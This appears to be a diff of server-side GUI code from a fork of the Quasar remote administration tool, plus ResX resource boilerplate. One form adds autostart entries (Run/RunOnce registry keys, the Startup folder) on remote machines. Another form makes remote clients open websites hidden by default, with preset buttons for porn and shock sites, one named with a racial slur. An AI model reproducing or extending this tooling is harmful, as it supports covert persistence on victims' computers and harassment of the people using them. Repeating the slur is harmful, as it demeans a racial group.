Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/
/wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWq
/w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A////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+175
View File
@@ -0,0 +1,175 @@
namespace Quasar.Server.Forms
{
partial class FrmStartupAdd
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupAdd));
this.groupAutostartItem = new System.Windows.Forms.GroupBox();
this.lblType = new System.Windows.Forms.Label();
this.cmbType = new System.Windows.Forms.ComboBox();
this.txtPath = new System.Windows.Forms.TextBox();
this.txtName = new System.Windows.Forms.TextBox();
this.lblPath = new System.Windows.Forms.Label();
this.lblName = new System.Windows.Forms.Label();
this.btnAdd = new System.Windows.Forms.Button();
this.btnCancel = new System.Windows.Forms.Button();
this.toolTip1 = new System.Windows.Forms.ToolTip(this.components);
this.groupAutostartItem.SuspendLayout();
this.SuspendLayout();
//
// groupAutostartItem
//
this.groupAutostartItem.Controls.Add(this.lblType);
this.groupAutostartItem.Controls.Add(this.cmbType);
this.groupAutostartItem.Controls.Add(this.txtPath);
this.groupAutostartItem.Controls.Add(this.txtName);
this.groupAutostartItem.Controls.Add(this.lblPath);
this.groupAutostartItem.Controls.Add(this.lblName);
this.groupAutostartItem.Location = new System.Drawing.Point(12, 12);
this.groupAutostartItem.Name = "groupAutostartItem";
this.groupAutostartItem.Size = new System.Drawing.Size(653, 105);
this.groupAutostartItem.TabIndex = 0;
this.groupAutostartItem.TabStop = false;
this.groupAutostartItem.Text = "Autostart Item";
//
// lblType
//
this.lblType.AutoSize = true;
this.lblType.Location = new System.Drawing.Point(35, 74);
this.lblType.Name = "lblType";
this.lblType.Size = new System.Drawing.Size(33, 13);
this.lblType.TabIndex = 4;
this.lblType.Text = "Type:";
//
// cmbType
//
this.cmbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cmbType.FormattingEnabled = true;
this.cmbType.Location = new System.Drawing.Point(74, 71);
this.cmbType.Name = "cmbType";
this.cmbType.Size = new System.Drawing.Size(573, 21);
this.cmbType.TabIndex = 5;
this.toolTip1.SetToolTip(this.cmbType, "Remote Type of Autostart Item.");
//
// txtPath
//
this.txtPath.Location = new System.Drawing.Point(74, 43);
this.txtPath.Name = "txtPath";
this.txtPath.Size = new System.Drawing.Size(573, 22);
this.txtPath.TabIndex = 3;
this.toolTip1.SetToolTip(this.txtPath, "Remote Path to Autostart Item.");
this.txtPath.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPath_KeyPress);
//
// txtName
//
this.txtName.Location = new System.Drawing.Point(74, 15);
this.txtName.MaxLength = 64;
this.txtName.Name = "txtName";
this.txtName.Size = new System.Drawing.Size(573, 22);
this.txtName.TabIndex = 1;
this.txtName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtName_KeyPress);
//
// lblPath
//
this.lblPath.AutoSize = true;
this.lblPath.Location = new System.Drawing.Point(35, 46);
this.lblPath.Name = "lblPath";
this.lblPath.Size = new System.Drawing.Size(33, 13);
this.lblPath.TabIndex = 2;
this.lblPath.Text = "Path:";
//
// lblName
//
this.lblName.AutoSize = true;
this.lblName.Location = new System.Drawing.Point(29, 18);
this.lblName.Name = "lblName";
this.lblName.Size = new System.Drawing.Size(39, 13);
this.lblName.TabIndex = 0;
this.lblName.Text = "Name:";
//
// btnAdd
//
this.btnAdd.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.btnAdd.Location = new System.Drawing.Point(576, 123);
this.btnAdd.Name = "btnAdd";
this.btnAdd.Size = new System.Drawing.Size(89, 23);
this.btnAdd.TabIndex = 1;
this.btnAdd.Text = "&Add";
this.btnAdd.UseVisualStyleBackColor = true;
this.btnAdd.Click += new System.EventHandler(this.btnAdd_Click);
//
// btnCancel
//
this.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.btnCancel.Location = new System.Drawing.Point(449, 123);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(89, 23);
this.btnCancel.TabIndex = 2;
this.btnCancel.Text = "&Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
// FrmAddToAutostart
//
this.AcceptButton = this.btnAdd;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.btnCancel;
this.ClientSize = new System.Drawing.Size(677, 158);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.btnAdd);
this.Controls.Add(this.groupAutostartItem);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmAddToAutostart";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Add to Autostart";
this.groupAutostartItem.ResumeLayout(false);
this.groupAutostartItem.PerformLayout();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.GroupBox groupAutostartItem;
private System.Windows.Forms.TextBox txtPath;
private System.Windows.Forms.TextBox txtName;
private System.Windows.Forms.Label lblPath;
private System.Windows.Forms.Label lblName;
private System.Windows.Forms.ComboBox cmbType;
private System.Windows.Forms.Label lblType;
private System.Windows.Forms.Button btnAdd;
private System.Windows.Forms.Button btnCancel;
private System.Windows.Forms.ToolTip toolTip1;
}
}
+73
View File
@@ -0,0 +1,73 @@
using Quasar.Common.Enums;
using Quasar.Common.Helpers;
using Quasar.Common.Models;
using System;
using System.IO;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmStartupAdd : Form
{
public StartupItem StartupItem { get; set; }
public FrmStartupAdd()
{
InitializeComponent();
AddTypes();
}
public FrmStartupAdd(string startupPath)
{
InitializeComponent();
AddTypes();
txtName.Text = Path.GetFileNameWithoutExtension(startupPath);
txtPath.Text = startupPath;
}
/// <summary>
/// Adds all supported startup types to ComboBox groups.
/// </summary>
/// <remarks>
/// Must be in same order as <see cref="StartupType"/>.
/// </remarks>
private void AddTypes()
{
// must be in same order as StartupType
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
cmbType.SelectedIndex = 0;
}
private void btnAdd_Click(object sender, EventArgs e)
{
StartupItem = new StartupItem
{Name = txtName.Text, Path = txtPath.Text, Type = (StartupType) cmbType.SelectedIndex};
this.DialogResult = DialogResult.OK;
this.Close();
}
private void btnCancel_Click(object sender, EventArgs e)
{
this.DialogResult = DialogResult.Cancel;
this.Close();
}
private void txtName_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtPath_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
}
}
+200
View File
@@ -0,0 +1,200 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="toolTip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+184
View File
@@ -0,0 +1,184 @@
namespace Quasar.Server.Forms
{
partial class FrmVisitWebsite
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmVisitWebsite));
this.chkVisitHidden = new System.Windows.Forms.CheckBox();
this.lblURL = new System.Windows.Forms.Label();
this.txtURL = new System.Windows.Forms.TextBox();
this.btnVisitWebsite = new System.Windows.Forms.Button();
this.lblQuick = new System.Windows.Forms.Label();
this.btnQ1 = new System.Windows.Forms.Button();
this.btnQ2 = new System.Windows.Forms.Button();
this.btnQ3 = new System.Windows.Forms.Button();
this.btnQ4 = new System.Windows.Forms.Button();
this.btnQ5 = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// chkVisitHidden
//
this.chkVisitHidden.AutoSize = true;
this.chkVisitHidden.Checked = true;
this.chkVisitHidden.CheckState = System.Windows.Forms.CheckState.Checked;
this.chkVisitHidden.Location = new System.Drawing.Point(48, 38);
this.chkVisitHidden.Name = "chkVisitHidden";
this.chkVisitHidden.Size = new System.Drawing.Size(170, 17);
this.chkVisitHidden.TabIndex = 2;
this.chkVisitHidden.Text = "Visit hidden (recommended)";
this.chkVisitHidden.UseVisualStyleBackColor = true;
//
// lblURL
//
this.lblURL.AutoSize = true;
this.lblURL.Location = new System.Drawing.Point(12, 9);
this.lblURL.Name = "lblURL";
this.lblURL.Size = new System.Drawing.Size(30, 13);
this.lblURL.TabIndex = 0;
this.lblURL.Text = "URL:";
//
// txtURL
//
this.txtURL.Location = new System.Drawing.Point(48, 6);
this.txtURL.Name = "txtURL";
this.txtURL.Size = new System.Drawing.Size(336, 22);
this.txtURL.TabIndex = 1;
//
// btnVisitWebsite
//
this.btnVisitWebsite.Location = new System.Drawing.Point(246, 34);
this.btnVisitWebsite.Name = "btnVisitWebsite";
this.btnVisitWebsite.Size = new System.Drawing.Size(138, 23);
this.btnVisitWebsite.TabIndex = 3;
this.btnVisitWebsite.Text = "Visit Website";
this.btnVisitWebsite.UseVisualStyleBackColor = true;
this.btnVisitWebsite.Click += new System.EventHandler(this.btnVisitWebsite_Click);
//
// lblQuick
//
this.lblQuick.AutoSize = true;
this.lblQuick.Location = new System.Drawing.Point(12, 68);
this.lblQuick.Name = "lblQuick";
this.lblQuick.Size = new System.Drawing.Size(38, 13);
this.lblQuick.TabIndex = 10;
this.lblQuick.Text = "Quick:";
//
// btnQ1 - PHub Gay
//
this.btnQ1.Location = new System.Drawing.Point(55, 64);
this.btnQ1.Name = "btnQ1";
this.btnQ1.Size = new System.Drawing.Size(63, 22);
this.btnQ1.TabIndex = 11;
this.btnQ1.Text = "PHub Gay";
this.btnQ1.UseVisualStyleBackColor = true;
this.btnQ1.Click += new System.EventHandler(this.btnQ1_Click);
//
// btnQ2 - NiggaFart
//
this.btnQ2.Location = new System.Drawing.Point(121, 64);
this.btnQ2.Name = "btnQ2";
this.btnQ2.Size = new System.Drawing.Size(63, 22);
this.btnQ2.TabIndex = 12;
this.btnQ2.Text = "NiggaFart";
this.btnQ2.UseVisualStyleBackColor = true;
this.btnQ2.Click += new System.EventHandler(this.btnQ2_Click);
//
// btnQ3 - MeatSpin
//
this.btnQ3.Location = new System.Drawing.Point(187, 64);
this.btnQ3.Name = "btnQ3";
this.btnQ3.Size = new System.Drawing.Size(63, 22);
this.btnQ3.TabIndex = 13;
this.btnQ3.Text = "LemonParty";
this.btnQ3.UseVisualStyleBackColor = true;
this.btnQ3.Click += new System.EventHandler(this.btnQ3_Click);
//
// btnQ4 - NHentai
//
this.btnQ4.Location = new System.Drawing.Point(253, 64);
this.btnQ4.Name = "btnQ4";
this.btnQ4.Size = new System.Drawing.Size(63, 22);
this.btnQ4.TabIndex = 14;
this.btnQ4.Text = "NHentai";
this.btnQ4.UseVisualStyleBackColor = true;
this.btnQ4.Click += new System.EventHandler(this.btnQ4_Click);
//
// btnQ5 - E621
//
this.btnQ5.Location = new System.Drawing.Point(319, 64);
this.btnQ5.Name = "btnQ5";
this.btnQ5.Size = new System.Drawing.Size(63, 22);
this.btnQ5.TabIndex = 15;
this.btnQ5.Text = "E621 (furry)";
this.btnQ5.UseVisualStyleBackColor = true;
this.btnQ5.Click += new System.EventHandler(this.btnQ5_Click);
//
// FrmVisitWebsite
//
this.AcceptButton = this.btnVisitWebsite;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(396, 96);
this.Controls.Add(this.chkVisitHidden);
this.Controls.Add(this.lblURL);
this.Controls.Add(this.txtURL);
this.Controls.Add(this.btnVisitWebsite);
this.Controls.Add(this.lblQuick);
this.Controls.Add(this.btnQ1);
this.Controls.Add(this.btnQ2);
this.Controls.Add(this.btnQ3);
this.Controls.Add(this.btnQ4);
this.Controls.Add(this.btnQ5);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmVisitWebsite";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Visit Website []";
this.Load += new System.EventHandler(this.FrmVisitWebsite_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.CheckBox chkVisitHidden;
private System.Windows.Forms.Label lblURL;
private System.Windows.Forms.TextBox txtURL;
private System.Windows.Forms.Button btnVisitWebsite;
private System.Windows.Forms.Label lblQuick;
private System.Windows.Forms.Button btnQ1;
private System.Windows.Forms.Button btnQ2;
private System.Windows.Forms.Button btnQ3;
private System.Windows.Forms.Button btnQ4;
private System.Windows.Forms.Button btnQ5;
}
}
+40
View File
@@ -0,0 +1,40 @@
using System;
using System.Windows.Forms;
using Quasar.Server.Helper;
namespace Quasar.Server.Forms
{
public partial class FrmVisitWebsite : Form
{
public string Url { get; set; }
public bool Hidden { get; set; }
private readonly int _selectedClients;
public FrmVisitWebsite(int selected)
{
_selectedClients = selected;
InitializeComponent();
}
private void FrmVisitWebsite_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Visit Website", _selectedClients);
}
private void btnVisitWebsite_Click(object sender, EventArgs e)
{
Url = txtURL.Text;
Hidden = chkVisitHidden.Checked;
this.DialogResult = DialogResult.OK;
this.Close();
}
private void btnQ1_Click(object sender, EventArgs e) { txtURL.Text = "https://www.pornhub.com/gay"; }
private void btnQ2_Click(object sender, EventArgs e) { txtURL.Text = "https://www.niggafart.com"; }
private void btnQ3_Click(object sender, EventArgs e) { txtURL.Text = "https://www.lemonparty.org"; }
private void btnQ4_Click(object sender, EventArgs e) { txtURL.Text = "https://nhentai.net"; }
private void btnQ5_Click(object sender, EventArgs e) { txtURL.Text = "https://e621.net"; }
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
